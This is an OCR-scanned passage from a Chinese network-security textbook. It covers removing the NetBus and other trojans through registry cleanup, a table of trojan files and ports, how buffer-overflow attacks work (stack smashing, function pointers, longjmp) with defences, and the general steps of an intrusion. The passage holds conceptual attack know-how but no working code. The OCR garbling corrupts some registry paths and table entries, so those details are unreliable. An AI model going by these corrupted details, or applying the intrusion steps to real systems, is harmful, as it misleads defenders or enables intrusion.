在 Windows NT/2000/XP 系统 中 , 按 Ctrl 十 Shift 十 Del 键 ,选择 “任务 管理 器 ”|“ 
程 ”, 选 中 正在 运行 的 进程 svch0st. exe, 并 终止 其 运行 。 

@ 注册 表 的 恢复 

单 击 “开始 ”| “运行 ”, 输入 regedit, 运行 注 册 表 编辑 器 ,依次 双击 展开 左 侧 的 
HKEY _ LOCAL_ MACHINEA Software\ Microsoft\ Windows > CurrentVersion > Run 目 
录 ,并 删除 面板 右 侧 的 "svch0st. exe" 一 "中 System% svch0st. exe" 和 "taskmgr. exe" 一 
"WSystem% svechOst. exe'" 。 

@ 删除 病毒 释放 的 文件 

单 击 “ 开 始 ?| “查找 ”|“ 文 件 和 文件 夹 ”, 查 找 文件 svchost. exe, 并 将 找到 的 文件 删除 。 

@ 配置 防火 墙 和 边界 路 由 器 

根据 病毒 的 技术 特点 ,设置 防火 墙 和 边界 路 由 器 的 规则 , 阻 断 病毒 的 人 侵 。 

3. NetBus 

NetBus 是 一 个 类 似 于 著名 的 Back Orifice 的 黑客 软件 ,区 别 在 于 它 的 功能 要 强大 很 
多 。NetBus 通过 TCP/IP 协议 ,可 以 远程 将 应 用 程序 指派 到 某 一 套 接 字 端 口 来 运行 。 这 就 
相当 于 可 以 远程 运行 目标 机 器 上 的 cmd. exe, 想 想 这 是 多 么 危险 的 事情 。 

从 表面 来 看 , NetBus 似乎 没什么 危害 ,只 允许 黑客 控制 鼠标 、 播 放声 音 文件 或 打开 
CD-ROM 托 架 .但 如 果 深 入 分 析 , 就 不 难 发 现 其 中 大 量 的 破坏 性 功能 ,特别 是 它 是 基于 
TCP/IP 协议 在 Windows 95, Windows 98 和 Windows NT 上 运行 的 (与 Back Orifice 不 
同 ), 这 大 大 增加 了 各 种 入 侵 用 户 系统 的 可 能 性 。 

NetBus 1.6 版 能 实现 一 些 相当 危险 的 操作 : 黑客 能 够 运行 远程 程序 ,进行 屏幕 抓 图 ,在 
所 侵入 的 计算 机 浏览 器 中 打开 URL ,显示 位 图 ,进行 服务 器 管理 操作 (如 更 改口 令 ), 甚 至 利 
用 远 端 的 麦克 风 录 制 一 段 声音 。 更 可 怕 的 是 : 它 能 在 侵入 的 计算 机 上 显示 信息 ,向 毫 无 戒 
心 的 用 户 提示 输入 口令 ,再 把 该 口令 返回 到 入 侵 者 的 屏幕 上 。NetBus 还 能 关闭 Windows 
系统 ,下 载 . 上 传 或 删除 文件 。 

NetBus 1.7 新 增 了 更 多 不 正当 的 功能 。 壁 如 : 重 定向 功能 (redirection) 使 黑客 能 
够 控制 网 络 中 的 第 3 台 机 器 ,从 而 伪装 成 内 部 客户 机 。 这 样 ,即使 路 由 器 拒绝 外 部 地 

址 ,只 允许 内 部 地 址 相互 通信 ,黑客 也 依然 可 以 占领 其 中 一 台 客 户 机 并 对 其 他 无 数 台 
机 器 进行 控制 。 

V1.7 版 本 甚至 还 能 指派 应 用 软件 至 某 个 端口 。 以 前 只 有 Netcat (黑客 的 梦幻 工具 ) 用 
于 UNIX 和 NT 时 才 具 有 这 种 功能 。 例 如 ,黑客 可 以 将 cmd. exe 指派 至 Telnet port 23 , 然 
后 Telnet 进入 该 机 器 ,从 而 接管 系统 的 命令 提示 符 。 甚 危险 后 果 不 言 自明 。 

NetBus 的 默认 状态 是 在 port 12345 接收 指令 ,在 port 12346 作 应 答 。Telnet 登录 到 接 
收 端口 就 会 看 到 产品 名 称 及 版 本 号 ,还 可 以 修改 口令 。NetBus 能 通过 编辑 patch. ini 配置 
文件 ,把 1 到 65535 之 间 的 任意 数字 指定 为 端口 。 当 需要 绕 过 防火 墙 或 路 由 过 滤器 时 , 端 
口 通常 就 会 设 为 53(DNS) 或 80(HTTP) 。 

所 有 的 木马 都 分 成 两 个 部 分 : 服务 器 和 客户 机 。 
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V1.7 版 本 的 NetBus 的 服务 器 的 默认 文件 名 是 patch. exe。 运 行 这 个 程序 后 , 它 将 自 
己 复制 到 Windows 目录 下 ,并 从 中 解 开 一 个 叫 KeyHook. dll 的 动态 链接 库 。 它 创建 一 个 
默认 主键 HKEY_CURRENT_USER\PATCH, 并 在 HKEY_LOCAL _MACHINE\ 
Software\Microsoft\ Windows\CurrentVersion\Run 下 创建 了 一 个 键 , 它 的 值 是 patch. exe 
文件 的 路 径 名 。 这 使 得 在 每 次 系统 启动 时 ,都 能 自动 运行 patch. exe 这 个 程序 。 除 此 外 ,还 
创建 下 面 两 个 键 : HKEY_CURRENT_USER\NETBUS 和 HKEY_CURRENT_USER\ 
NETBUS\Settings, 

按照 上 面 的 描述 ,通过 删除 注册 表 中 的 键 值 就 可 以 清除 NetBus 病毒 。 

4. 部 分 其 他 类 型 的 木马 

现在 木马 很 多 ,在 此 不 可 能 一 一 介绍 ,但 是 它们 的 基本 特征 和 使 用 方法 大 体 是 相同 的 。 
只 要 掌握 了 上 述 介绍 的 木马 软件 的 特性 ,用 户 就 可 以 知道 其 他 木马 的 删除 方法 。 重 要 的 是 
它们 的 感染 特征 , 表 6-2 中 所 列 出 的 是 部 分 常见 木马 特征 , 供 读者 参考 。 


表 6-2 部 分 其 他 类 型 特洛伊 木马 一 览 表 


木马 名 称 感染 方式 使 用 的 端口 号 位 置 


\WINDOWS\SYSTEM\ WINAPP32. EXE 
\WINDOWS\ WINBIME. SCR 
\WINDOWS\ NDAPT32C. DLL 
\WINDOWS\SYSTEM\ WINSOCK. EXE 
\WINDOWS\ WINBIFE. SCR 
\WINDOWSNDAPI32K. DLL 
\WINDOWAS\. BAT 

\WINDOWS\ WINSTART. BAT 


Birdapy2 注册 表 加 载 47 878( 可 变 ) 


2140,3150， 


Deep Throad 3.0 注册 表 加 载 6671( 可 变 ) 


\WINDOWS\SYSTRAY. EXE 
FTP-ServerU 2. 3b | 注册 表 加 载 固定 1492 \WINDOWS\SYSTEM\ WINDLL16. EXE 


GirlFrient 1.3 注册 表 加 载 20 000( 可 变 ) \WINDOWS\ WINDLL. EXE 


\WINDOWS\SYSTEM\KERNEL32. EXE 


Glacier 1.2 注册 表 加 旨 7626 
ee 注册 表 加 载 \WINDOWS\SYSTEM\SYSEXPLR. EXE 


9400.9401， 


lnCommand 1. 0 注册 表 加 载 9402( 可 变 ) 


不 能 确定 


Millinum ee 载 20 000,20 001 \WINDOWS\SYSTEM\REG66. EXE 
NetBus 1.7 注册 表 加 载 12 345,12 346 \WINDOWS\PATCH. EXE 
SubSeven 2.0 system. ini 加 载 | 1243.6776( 可 变 ) | \WINDOWS\KERNEL. EXE 

NetSpy 2.0 注册 表 加 载 12 345,12 346 \WINDOWS\PATCH. EXE 


以 上 只 是 一 部 分 木马 的 特征 ,现在 特洛伊 木马 层出不穷 ,感染 方式 也 千奇百怪 , 令 人 防 
不 胜 防 。 读 者 要 时 刻 注意 网 上 公布 的 此 类 消息 。 
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6.6 缓冲 区 溢出 
6.6.1 缓冲 区 溢出 的 攻击 原理 


缓冲 区 溢出 是 一 种 系统 攻击 的 手段 ,通过 往 程序 的 缓冲 区 写 和 人 超出 其 长 度 的 内 容 ,造成 
缓冲 区 的 溢出 ,从 而 破坏 程序 的 堆栈 ,使 程序 转 而 执行 非 预期 指令 ,以 达到 攻击 的 目的 。 目 
前 ,在 Internet 上 利用 缓冲 区 溢出 进行 攻击 的 行为 已 经 相当 普遍 。 

缓冲 区 是 内 存 中 存放 数据 的 地 方 。 在 程序 试图 将 数据 放 到 计算 机 内 存 中 的 某 一 位 置 ， 
但 没有 足够 空间 时 会 发 生 缓 冲 区 溢出 。 下 面 对 这 种 技术 做 详细 介绍 。 

缓冲 区 是 程序 运行 时 计算 机 内 存 中 一 个 连续 的 块 , 它 保 存 了 给 定 类 型 的 数据 。 问 题 随 
着 动态 分 配 变量 而 出 现 。 为 了 不 占用 太 多 的 内 存 , 一 个 有 动态 分 配 变量 的 程序 在 程序 运行 
时 才 决 定 给 它们 分 配 多 少 内 存 。 

如 果 程 序 在 动态 分 配 缓冲 区 放 入 太 多 的 数据 会 出 现 什么 现象 ? 它 溢出 了 , 漏 到 了 别 的 
地 方 。 一 个 缓冲 区 溢出 应 用 程序 使 用 这 个 溢出 的 数据 将 汇编 语言 代码 放 到 计算 机 的 内 存 
中 ,通常 是 产生 root 权限 的 地 方 。 

单单 的 缓冲 区 溢出 ,并 不 会 产生 安全 问题 。 只 有 将 溢出 送 到 能 够 以 root 权限 运行 命令 
的 区 域 才 出 问题 。 这 样 , 一 个 缓冲 区 利用 程序 将 能 运行 的 指令 放 在 了 有 root 权限 的 内 存 
中 ,从 而 一 旦 运行 这 些 指令 ,就 是 以 root 权限 控制 了 计算 机 。 

综 上 所 述 ,缓冲 区 溢出 指 的 是 一 种 系统 攻击 的 手段 ,通过 往 程序 的 缓冲 区 写 超出 其 长 度 
的 内 容 , 造 成 缓冲 区 的 溢出 ,从 而 破坏 程序 的 堆栈 ,使 程序 转 而 执行 其 他 指令 ,以 达到 攻击 的 
目的 。 据 统计 ,通过 缓冲 区 溢出 进行 的 攻击 占 所 有 系统 攻击 总 数 的 80% 以 上 ,造成 缓冲 区 
溢出 的 原因 是 在 程序 中 没有 仔细 检查 用 户 输入 的 参数 。 

在 术语 文件 中 这 样 定义 :“ 当 试图 将 超过 缓冲 区 处 理 范 围 的 更 多 的 数据 加 入 到 缓冲 区 
时 ,发 生 缓冲 区 溢出 。 这 可 能 是 由 于 生产 者 和 消费 者 进程 处 理 不 一 致 造成 的 ,或 者 是 由 于 组 
冲 区 太 小 ,以 至 于 装 不 下 一 次 处 理 的 必需 数据 。” 

用 C 编写 的 程序 常用 到 缓冲 区 。 一 般 来 说 ,缓冲 区 就 是 选 出 的 一 块 存储 空间 ,其 中 可 
以 存储 某 种 类 型 的 文本 或 数据 。 程 序 员 利用 缓冲 区 为 一 块 或 多 块 数据 提供 给 系统 预先 指定 
的 空间 。 例 如 ,如 果 希 望 用 户 输入 名 字 ,程序 员 必须 先 判 断 名 字 缓 冲 区 要 求 有 多 少 个 字符 
(该 字段 要 求 有 多 少 字 符 或 者 用 户 在 给 定 的 字段 中 可 以 敲 多 少 键 ), 这 称 为 字符 缓冲 区 的 大 
小 。 因 此 如 果 程 序 员 编 写 : 


char first name{[20]; 


就 允许 用 户 用 20 个 字符 作为 名 字 。 但 假设 用 户 的 名 字 有 35 个 字符 ,最 后 面 的 15 个 字 
符 会 出 现 什么 情况 呢 ? 它们 溢出 字符 缓冲 区 。 滋 出 时 ,最 后 的 15 个 字符 放 在 内 存 其 他 某 一 
位 置 (程序 员 本 不 想 将 这 些 多 余 的 字符 放 于 该 地 址 处 ) 。 攻 击 者 通过 控制 多 余 的 字符 结束 的 
位 置 , 可 以 在 这 段 溢出 区 域 放置 任意 的 可 被 操作 系统 执行 的 命令 。 这 种 技术 经 常 被 本 地 用 
户 用 来 获取 对 root 的 访问 。 许 多 常见 的 工具 都 易 受 到 缓冲 区 溢出 的 攻击 。 

程序 员 可 以 通过 谨慎 的 编程 技巧 消除 缓冲 区 溢出 问题 。 并 不 是 说 程序 员 应 该 为 每 个 字 
符 缓冲 区 提供 错误 检测 ,这 是 不 现实 的 ,也 很 浪费 时 间 。 因 为 尽管 这 些 缺 陷 会 使 网 络 有 一 定 
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的 危险 ,但 攻击 者 需要 很 高 的 技巧 才能 实现 缓冲 区 溢出 攻击 。 个 问题 在 攻击 者 的 圈 
子 里 经 常 讨 论 ,但 很 少 人 用 编程 知识 来 做 到 这 一 点 。 

缓冲 区 溢出 问题 不 是 个 新 间 题 ,至少 从 蠕虫 发 作 的 那天 起 就 一 直 存 在 着 了 。 

缓冲 区 溢出 漏洞 比 其 他 一 些 黑客 攻击 手段 更 具有 破坏 力 和 隐蔽 性 。 这 也 是 利用 缓冲 区 
溢出 漏洞 进行 攻击 日 益 普遍 的 原因 。 它 极 容易 使 服务 程序 停止 运行 ,服务 器 死机 甚至 删除 
服务 器 上 的 数据 。 它 的 隐蔽 性 主要 表现 在 下 面 几 点 : 

(1) 漏洞 被 发 现 之 前 一 般 程序 员 是 不 会 意识 到 自己 的 程序 存在 漏洞 的 (漏洞 的 发 现 者 
往往 并 非 编 写 程序 的 程序 员 ), 从 而 玻 忽 监测 。 

(2) shellcode 都 很 短 ,执行 时 间 也 非常 短 , 很 难 在 执行 过 程 中 被 发 现 。 

(3) 由 于 漏洞 存在 于 防火 墙 内 部 ,攻击 者 所 发 送 的 字符 串 一 般 情 况 下 防火 墙 不 会 阻拦 ， 
而 攻击 者 通过 执行 shellcode 所 获得 的 是 本 来 不 被 允许 或 没有 权限 的 操作 ,在 防火 墙 看 来 也 
是 合理 合法 的 。 防 火 墙 在 对 远程 缓冲 区 溢出 攻击 的 监测 方面 有 先天 的 不 足 。 

(4) 一 个 完整 的 shellcode 的 执行 并 不 一 定 会 使 系统 报告 错误 ,而 且 可 能 并 不 影响 正常 
程序 的 运行 。 

(5) 攻击 的 随机 性 和 不 可 预测 性 使 得 防御 攻击 变 得 异常 艰难 ,而 没有 攻击 时 ,攻击 程序 
并 不 会 有 什么 变化 (这 和 木马 有 着 本 质 的 区 别 ) ,这 也 是 堆栈 溢出 最 难 被 发 现 的 原因 。 

(6) 缓冲 区 溢出 漏洞 的 普遍 存在 ,使 得 针对 这 种 漏洞 的 攻击 防不胜防 (各 种 补丁 程序 也 
可 能 存在 着 这 种 漏洞 ) 。 

另外 ,还 存在 着 攻击 者 故意 散布 存在 漏洞 的 应 用 程序 的 可 能 。 攻 击 者 还 可 以 借用 木马 
植 入 的 方法 ,故意 在 被 攻击 者 的 系统 中 留 下 存在 漏洞 的 程序 ,这 样 做 不 会 因为 含有 非法 字段 
而 被 防火 墙 拒绝 ;或 者 利用 病毒 传播 的 方式 来 传播 有 漏洞 的 程序 ,与 病毒 不 同 的 是 , 它 在 一 
个 系统 中 只 留 下 一 份 副本 (要 发 现 这 种 情况 几乎 是 不 可 能 的 )。 


6.6.2 缓冲 区 溢出 的 攻击 方式 


缓冲 区 溢出 攻击 的 目的 在 于 扰乱 具有 某 些 特权 运行 的 程序 的 功能 ,这 样 可 以 使 得 攻击 
者 取得 程序 的 控制 权 , 如 果 该 程序 具有 足够 的 权限 ,那么 整个 主机 就 被 控制 了 。 一 般 而 言 ， 
攻击 者 攻击 root 程序 ,然后 执行 类 似 “exec(sh) ”的 执行 代码 来 获得 root 权限 的 shell。 为 了 
达到 这 个 目的 ,攻击 者 必须 预先 做 到 以 下 两 点 。 

。 在 程序 的 地 址 空间 里 安排 适当 的 代码 。 

。 通过 适当 地 初始 化 寄存 器 和 内 存 ,让 程序 跳 转 到 入 侵 者 安排 的 地 址 空间 执行 。 

下 面 介绍 如 何在 程序 的 地 址 空间 里 安排 适当 的 代码 。 有 以 下 两 种 在 被 攻击 程序 地 址 空 
重症 民 入 吉 击 简 关 的 为， 

(1) 植 人 法 

攻击 者 向 被 攻击 的 程序 输入 一 个 字符 串 ,程序 会 把 这 个 字符 串 放 到 缓冲 区 里 。 这 个 字 
符 串 包含 的 数据 是 可 以 在 这 个 被 攻击 的 硬件 平台 上 运行 的 指令 序列 。 在 这 里 ,攻击 者 用 被 
攻击 程序 的 缓冲 区 来 存放 攻击 代码 。 缓 冲 区 可 以 设 在 任何 地 方 : 堆栈 (Cstack ,自动 变量 ) . 堆 
(Cheap ,动态 分 配 的 内 存 区 ) 和 病态 数据 区 。 

(2) 利用 已 经 存在 的 代码 

有 时 ,攻击 者 想 要 的 代码 已 经 在 被 攻击 的 程序 中 了 ,攻击 者 所 要 做 的 只 是 对 代码 传递 一 
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些 参 数 。 比 如 ,攻击 代码 要 求 执行 “exec 〈"/bin/sh")”, 而 在 libc 库 中 的 代码 执行 “exec 
(arg)”, 其 中 arg 是 一 个 指向 一 个 字符 串 的 指针 参数 ,那么 攻击 者 只 要 把 传人 的 参数 指针 改 
向 指向 “/bin/sh”。 

下 面 将 介绍 控制 程序 转移 到 攻击 代码 的 方法 , 即 如 何 通 过 适当 地 初始 化 寄存 器 和 内 存 ， 
让 程序 跳 转 到 入 侵 者 安排 的 地 址 空间 执行 。 其 方法 实质 上 都 是 在 寻求 改变 程序 的 执行 流 
程 , 使 之 跳 转 到 攻击 代码 。 最 基本 点 就 是 溢出 一 个 没有 边界 检查 或 者 其 他 弱点 的 缓冲 区 ,这 
样 就 扰乱 了 程序 正常 的 执行 顺序 。 通 过 溢出 一 个 缓冲 区 ,攻击 者 可 以 用 暴力 的 方法 改写 相 
邻 的 程序 空间 而 直接 跳 过 系统 的 检查 。 

这 些 方法 分 类 的 基准 是 攻击 者 所 寻求 的 缓冲 区 溢出 的 程序 空间 类 型 。 原 则 上 是 可 以 任 
意 的 空间 。 而 实际 上 ,许多 的 缓冲 区 溢出 是 用 暴力 的 方法 来 寻求 改变 程序 指针 的 。 这 类 程 
序 的 不 同 之 处 就 是 程序 空间 的 突破 和 内 存 空 间 的 定位 不 同 ,主要 有 以 下 3 种 。 

(1) 活动 记录 (activation records) 

每 当 一 个 函数 调用 发 生 时 ,调用 者 会 在 堆栈 中 留 下 一 个 活动 记录 , 它 包含 了 函数 结束 时 
返回 的 地 址 。 攻 击 者 通过 溢出 堆栈 中 的 自动 变量 ,使 返回 地 址 指向 攻击 代码 。 通 过 改变 程 
序 的 返回 地 址 , 当 函 数 调 用 结束 时 ,程序 就 跳 转 到 攻击 者 设 定 的 地 址 ,而 不 是 原先 的 地 址 。 
这 类 缓冲 区 溢出 被 称 为 堆栈 溢出 攻击 (stack smashing attack) ,是 目前 最 常用 的 缓冲 区 溢出 
攻击 方式 。 

(2) 函数 指针 (function pointers) 

函数 指针 可 以 用 来 定位 任何 地 址 空间 。 例 如 :“void (* foo)O 〇 ”声明 了 一 个 返回 值 为 
void 的 函数 指针 变量 foo。 所 以 攻击 者 只 需 在 任何 空间 内 的 函数 指针 附近 找到 一 个 能 够 溢 
出 的 缓冲 区 ,然后 溢出 这 个 缓冲 区 来 改变 函数 指针 。 在 某 一 时 刻 , 当 程 序 通 过 函数 指针 调用 
函数 时 ,程序 的 流程 就 按 攻击 者 的 意图 实现 了 。 它 的 一 个 攻击 范例 就 是 在 Linux 系统 下 的 
superprobe 程序 。 

(3) 长 跳 转 缓冲 区 (longjmp buffers) 

在 C 语 言 中 包含 了 一 个 简单 的 检验 /恢复 系统 , 称 为 setjmp/longjmp。 意 思 是 在 检验 
点 设 定 setjmp(buffer) ,用 longjmp(buffer) 来 恢复 检验 点 。 然 而 ,如 果 攻 击 者 能 够 进入 缓冲 
区 的 空间 ,那么 longjmp(buffer) 实 际 上 是 跳 转 到 攻击 者 的 代码 。 像 函数 指针 一 样 ,longjmp 
缓冲 区 能 够 指向 任何 地 方 。 所 以 ,攻击 者 所 要 做 的 就 是 找到 一 个 可 供 溢出 的 缓冲 区 。 一 个 
典型 的 例子 就 是 Perl 5. 003 的 缓冲 区 溢出 漏洞 ,攻击 者 首先 进入 用 来 恢复 缓冲 区 溢出 的 
longjmp 缓冲 区 ,然后 诱导 进入 恢复 模式 ,这 样 就 使 Perl 的 解释 器 跳 转 到 攻击 代码 上 了 。 


6.6.3 缓冲 区 溢出 的 防范 


各 种 原因 产生 了 大 量 存 在 漏洞 的 程序 ,而 且 利 用 缓冲 区 溢出 攻击 主机 也 时 有 发 生 。 现 
在 ,怎样 防范 这 种 危害 巨大 的 攻击 手段 ,已 成 为 网 络 安全 方面 一 个 很 重要 的 研究 内 容 。 预 防 
缓冲 区 溢出 要 注意 以 下 几 个 方面 。 

1. 编写 程序 时 应 该 时 刻 注意 的 问题 

程序 员 有 责任 和 义务 养 成 安全 编程 的 思想 ,应 该 熟悉 那些 可 能 会 产生 漏洞 或 需 慎 用 的 
函数 ,清楚 那些 在 编程 中 要 小 心 使 用 的 函数 (特别 是 在 使 用 C 语言 时 ), 例 如 :gets()， 
strcpy() 等 。 在 软件 测试 阶段 ,要 专门 对 程序 中 的 每 个 缓冲 区 做 边界 检查 和 溢出 检测 。 但 
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是 ,由 于 程序 编写 者 的 经 验 不 足 和 测试 工作 不 够 全 面 、 充 分 ,目前 还 不 可 能 完全 避免 缓冲 区 
溢出 漏洞 ,因此 ,这 些 漏 洞 在 已 经 使 用 以 及 正在 开发 的 软件 中 还 是 有 存在 的 可 能 ,还 需要 在 
使 用 软件 时 ,对 它 做 实时 的 监测 。 

2. 使 用 安全 语言 编写 程序 

应 使 用 Java 等 安全 的 语言 编写 程序 ,因为 Java 在 对 缓冲 区 进行 操作 时 ,有 相应 的 边界 
检查 ,所 以 可 以 有 效 地 防止 缓冲 区 溢出 漏洞 的 产生 。 但 是 ,Java 也 并 非 绝 对 安全 ,Java 的 解 
释 器 是 用 C 语言 编写 的 ,而 C 并 不 是 一 种 安全 的 语言 ,所 以 Java 解释 器 还 是 可 能 存在 缓冲 
区 溢出 漏洞 并 受到 攻击 。 

3. 改进 编译 器 

改进 编译 器 的 主要 思想 是 在 编译 器 中 增加 边界 检查 以 及 保护 堆栈 的 功能 ,使 得 含有 漏 
洞 的 程序 和 代码 段 无 法 通过 编译 。 针 对 gcc 编译 器 的 很 多 补丁 就 提供 了 这 些 功能 ,比如 
Stackguard。 

4. 利用 人 工 智能 的 方法 检查 输入 字段 
黑客 利用 缓冲 区 溢出 漏洞 进行 攻击 时 ,必须 将 其 设计 的 溢出 字符 串 包含 在 输入 字符 串 
中 。 如 果 能 检测 到 输入 字段 中 存在 非法 字段 ,可 以 将 黑客 的 攻击 记录 下 来 ,以 便 防范 。 并 且 
可 以 利用 其 溢出 字符 串 的 设计 特征 来 建立 规则 集 , 使 用 模式 匹配 .人 工 智能 的 方法 来 监测 组 
冲 区 。 

5. 对 堆栈 栈 底 进行 实时 的 监测 

监测 一 个 堆栈 应 从 其 被 建立 到 其 消亡 的 全 过 程 ,需要 监测 的 内 容 有 堆栈 的 标志 、 栈 底 的 
地 址 、 栈 底 存放 的 内 容 、 被 压 人 栈 的 返回 地 址 和 EBP 的 值 . 可 执行 的 压 栈 操作 次 数 、 栈 的 大 
小 等 。 这 些 内 容 可 以 从 操作 系统 获得 ,并 需要 监测 CPU 的 状态 。 对 堆栈 栈 底 进行 实时 监 
测 可 以 有 效 地 防止 缓冲 区 溢出 攻击 ,但 其 自身 也 有 缺点 , 即 需要 大 量 的 系统 资源 ,并 会 降低 
程序 执行 的 效率 。 这 种 方法 可 以 作为 一 种 对 软件 进行 测试 的 工具 。 此 外 ,由 于 这 种 方法 是 
较 低层 的 ,程序 可 移植 性 不 强 。 而 且 如 果 程 序 编写 不 得 当 , 甚 至 可 能 会 和 操作 系统 发 生 冲 
突 , 从 而 导致 各 种 问题 的 出 现 。 

6. 堆栈 不 可 执行 

这 种 方法 已 经 在 很 多 种 操作 系统 上 有 了 相应 的 补丁 ,但 它 也 不 是 一 个 万 全 之 策 ,既然 不 
可 能 在 堆栈 段 执行 程序 ,那么 就 将 溢出 字符 串 写 人 到 数据 段 区 或 程序 段 区 ,这 样 就 仍然 可 以 
执行 溢出 区 域 的 攻击 命令 。 

7. 修改 现在 缓冲 区 的 数据 结构 

前 面 所 讲 的 方法 各 有 优 缺 点 ,而 且 仅 用 其 中 的 一 种 方法 或 几 种 方法 ,并 不 能 够 完全 杜绝 
缓冲 区 溢出 漏洞 。 在 防御 缓冲 区 溢出 攻击 时 ,应 综合 使 用 其 中 的 几 种 方法 , 才 可 以 达到 良好 
的 效果 。 然 而 ,这 些 方法 都 是 一 些 治 标 不 治本 的 方法 ,要 从 根本 上 解决 缓冲 区 溢出 漏洞 的 问 
题 ,必须 从 数据 结构 的 角度 来 考虑 问题 。 上 面 曾 提 到 ,其实 绝 大 多 数 的 缓冲 区 溢出 漏洞 ,其 
根本 原因 就 是 C 语言 中 的 char * 数据 结构 。 由 于 这 一 数据 结构 以 及 与 之 相关 的 各 种 函数 
的 广泛 应 用 ,导致 各 种 应 用 程序 中 的 缓冲 区 溢出 漏洞 层出不穷 。 而 大 量 业 已 存在 并 正在 运 
行 的 C 程序 代 码 , 又 使 得 完全 消除 这 一 漏洞 几乎 不 可 能 。 事实 上 ,要 从 根本 上 解决 缓冲 区 
溢出 漏洞 ,必须 从 修改 缓冲 区 的 数据 结构 入 手 。 只 要 有 了 安全 的 数据 结构 ,就 能 构建 出 安全 
的 函数 和 程序 ,从 而 防止 由 于 数据 结构 上 的 不 合理 而 造成 的 安全 隐患 。 在 C++ 中 提倡 使 用 
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的 String 函数 库 , 正 是 针对 C 语言 中 的 这 一 弱点 而 开发 的 。 
6.7 黑客 攻击 的 一 般 步骤 及 防范 措施 


6.7.1 黑客 攻击 的 一 般 步骤 


1. 黑客 入 侵 的 级 别 
黑客 的 入 侵 方 式 多 种 多 样 ,危害 程度 也 不 尽 相 同 ,按照 进攻 的 方法 和 危害 程度 可 分 为 下 
列 级 别 。 

(1) 邮件 炸弹 攻击 (E-mail bomb)( 第 1 层 ) 。 

(2) 简单 服务 拒绝 攻击 (denial of service) (第 1 层 )。 

(3) 本 地 用 户 获 得 非 授 权 读 访问 (第 2 层 ) 。 

(4) 本 地 用 户 获 得 他 们 非 授权 的 文件 写 权 限 ( 第 3 层 ) 。 

(5) 远程 用 户 获 得 非 授 权 的 账号 (第 3 层 ) 。 

(6) 远程 用 户 获 得 了 特权 文件 的 读 权限 (第 4 层 )。 

(7) 远程 用 户 获 得 了 特权 文件 的 写 权 限 (第 5 层 )。 

(8) 远程 用 户 拥有 了 根 (root) 权 限 ( 黑 客 已 攻克 系统 ) (第 6 层 )。 

把 这 8 种 攻击 级 别 分 为 6 层 , 不 同 层次 的 攻击 级 别 危害 程度 有 极 大 的 不 同 。 

第 1 层 的 攻击 包括 邮件 炸弹 攻击 和 服务 拒绝 攻击 。 邮 件 炸 弹 的 攻击 包括 登记 列表 攻 
击 , 攻 击 者 同时 将 被 攻击 目标 登录 到 成 千 上 万 或 更 多 的 邮件 列表 中 ,这 样 目标 有 可 能 被 巨大 
数量 的 邮件 列表 寄 出 的 邮件 济 没 。 拒 绝 服务 攻击 是 利用 对 系统 申请 大 量 的 服务 请 求 ,而 每 
一 个 服务 都 要 占用 系统 资源 ,最 后 当 系统 的 资源 用 光 后 ,就 使 系统 崩 演 。 这 两 种 攻击 只 是 简 
单 地 利用 网 络 的 一 些 服务 漏洞 进行 攻击 ,通常 并 不 需要 攻击 者 有 很 深 的 网 络 知识 层次 。 

第 2 层 和 第 3 层 的 攻击 危害 性 在 于 那些 文件 的 读 或 写 权 限 被 非法 获得 。 如 果 这 些 文件 
是 一 些 重要 的 文件 ,如 password 文件 ,那么 其 危害 性 就 可 能 成 倍增 加 。 当 黑客 获得 写 权限 
后 ,他 就 能 放 上 “特洛伊 木马 ”或 一 些 shell 程序 ,从 而 导致 系统 在 以 后 运行 中 出 现 “ 后 门 ”。 
出 现 这 类 攻击 的 主要 原因 是 部 分 配置 错误 或 者 是 软件 内 固有 的 漏洞 。 一 般 来 说 ,管理 员 的 
玻 忽 是 这 类 错误 的 根源 。 因 此 ,管理 员 应 该 注意 经 常 使 用 安全 工具 查找 一 般 的 配置 错误 并 
经 常 跟踪 和 了 解 最 新 的 软件 安全 漏洞 报告 ,下 载 补丁 或 联系 生产 商 。 

第 4,5,6 层次 的 攻击 危害 程度 相当 大 ,只 有 利用 那些 不 该 出 现 却 出 现 的 漏洞 , 才 可 能 出 
现 这 种 致命 的 攻击 。 一 旦 黑客 拥有 了 这 几 层 攻击 级 别 中 的 一 种 ,就 不 难 获得 系统 的 最 高 权 
限 ,这 一 般 是 黑客 高 手 才能 做 到 的 。 

以 上 层次 的 划分 在 所 有 网 络 中 几乎 都 一 样 , 基 本 上 可 以 作为 网 络 安全 工作 的 考核 
指标 。 

2. 黑客 攻击 系统 的 步骤 

从 理论 上 讲 没 有 一 个 系统 是 绝对 安全 的 ,除非 这 个 系统 和 外 界 没有 任何 联系 ,没有 输 
入 ,也 没有 输出 。 所 有 的 攻击 是 建立 在 上 面 的 这 条 大 原则 下 的 。 只 要 系统 和 外 界 有 交互 ,就 
能 攻击 进去 。 如 果 存 在 系统 漏洞 的 话 ,攻击 变 得 更 加 简单 。 下 面 介绍 攻击 的 大 致 步骤 和 所 
用 到 的 技术 。 


2 


(1) 收集 目标 计算 机 的 信息 。 

首先 确认 攻击 目标 。 这 里 的 主要 任务 是 收集 有 关 要 攻击 目标 的 有 用 信息 。 这 些 信 息 包 
括 目标 计算 机 的 硬件 信息 .运行 的 操作 系统 信息 .运行 的 应 用 程序 (服务 ) 的 信息 、 目 标 计算 
机 所 在 网 络 的 信息 、 目 标 计 算 机 的 用 户 信息 及 存在 的 漏洞 等 。 

这 里 用 到 的 工具 是 端口 扫描 器 和 一 些 常 用 的 网 络 命令 。 在 这 一 步 的 主要 目的 是 得 到 尽 
可 能 多 的 信息 ,为 下 一 步 入 侵 做 好 准备 。 下 一 步 就 是 选用 合适 的 方法 入 侵 。 

(2) 寻找 目标 计算 机 的 漏洞 和 选择 合适 的 入 侵 方 法 。 

这 里 主要 有 两 种 方法 : 通过 发 现 目标 计算 机 的 漏洞 进入 系统 或 者 利用 口令 猜测 进入 系 
统 。 利 用 口令 猜测 就 是 试图 重复 登录 ,直到 找到 一 个 合法 的 登录 为 止 。 往 往 这 种 方法 会 消 
耗 大量 的 时 间 ,而 且 每 次 登录 不 管 是 否 成 功 都 会 在 目标 计算 机 上 留 下 记录 ,会 引起 注意 。 另 
一 个 就 是 利用 和 发 现 目标 计算 机 的 漏洞 ,直接 顺利 进入 。 

发 现 目标 计算 机 漏洞 的 方法 用 得 最 多 的 就 是 缓冲 区 溢出 法 。 通 过 这 个 方法 ,使 得 目标 
计算 机 以 最 高 级 别 的 权限 来 运行 攻击 者 设 定 的 后 门 程序 ,从 而 进入 系统 。 其 次 就 是 经 常 访 
